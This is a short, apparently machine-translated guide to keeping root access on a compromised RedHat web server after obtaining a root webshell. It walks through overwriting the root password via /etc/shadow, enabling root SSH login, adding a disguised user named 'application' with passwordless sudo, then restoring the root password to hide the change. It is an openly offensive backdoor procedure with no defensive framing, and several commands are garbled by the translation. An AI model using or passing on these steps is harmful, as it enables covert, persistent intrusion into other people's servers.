There is no technical knowledge. One idea is to allow some children's shoes with the root permission webshell to get the permission quickly.
One day, the webshell and RedHat system of a website are obtained. Tomcat programs are started as root, and webshell also has root permissions.
1. Replace the root password with webshell:/etc/shadow // remember to back up
2. allow root users to log on via ssh:/etc/ssh/sshd_config
PermitRootLogin yes # Allow root Login
3. restart the ssh service ssh restart
4. log on to ssh as root and add a user
Useradd application
Passwd // set the password as prompted
5. You do not need a password to change the su operation for the application User.
Chmod + w/etc/sudoers // Add write permission, read-only by default
Modify/etc/sudoers
Vi/etc/sudoers
Add application ALL = (ALL) NOPASSWD: ALL
6. Change the root password back to its original state and prohibit root login. And remove sudoers write attributes (chmod-w/etc/sudoers ). Finished
Finally,
Root User Login:
Normal user login, su password-free access to the root permission